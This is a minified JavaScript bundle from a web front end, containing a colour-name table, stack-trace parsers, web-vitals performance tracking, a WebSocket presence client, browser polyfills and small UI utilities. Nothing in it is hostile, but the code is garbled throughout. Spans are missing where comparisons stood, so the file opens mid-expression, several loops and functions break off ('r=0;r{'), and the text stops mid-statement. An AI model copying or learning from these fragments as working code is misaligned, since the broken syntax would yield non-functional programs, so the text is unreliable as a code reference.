a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new 